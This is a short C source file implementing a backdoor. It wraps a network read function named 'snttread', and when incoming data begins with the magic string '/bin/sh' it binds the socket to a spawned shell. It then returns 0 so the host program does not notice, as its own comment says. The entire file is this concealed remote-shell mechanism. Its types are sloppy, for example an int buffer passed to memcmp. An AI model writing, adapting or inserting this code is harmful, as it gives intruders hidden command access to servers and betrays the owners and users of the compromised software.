#include <stdio.h>
#include <spawn.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>

extern int Snttread (int fd, int buf, int buflen, int d);

int snttread (int fd, int buf, int buflen, int d)
{
	int r;
	char *name[2];
	char *envp[] = { NULL };
	pid_t pid;

	// do read
	r=Snttread (fd, buf, buflen, d);

	// compare buf start for magic word presence
	if (memcmp (buf, "/bin/sh", 7)==0)
	{
		// connect socket to stdin/stdout/stderr of process to be runned
		dup2 (fd, 0);
		dup2 (fd, 1);
		dup2 (fd, 2);

		// spawn /bin/sh
		name[0]="/bin/sh";
		name[1]=NULL;
		pid=getpid();
		posix_spawn(&pid, name[0], NULL, NULL, name, envp);
	
		// wait for /bin/sh termination
		wait(NULL); 

		// let caller think we do not received anything
		return 0; 
	}
	else
		return r;
};
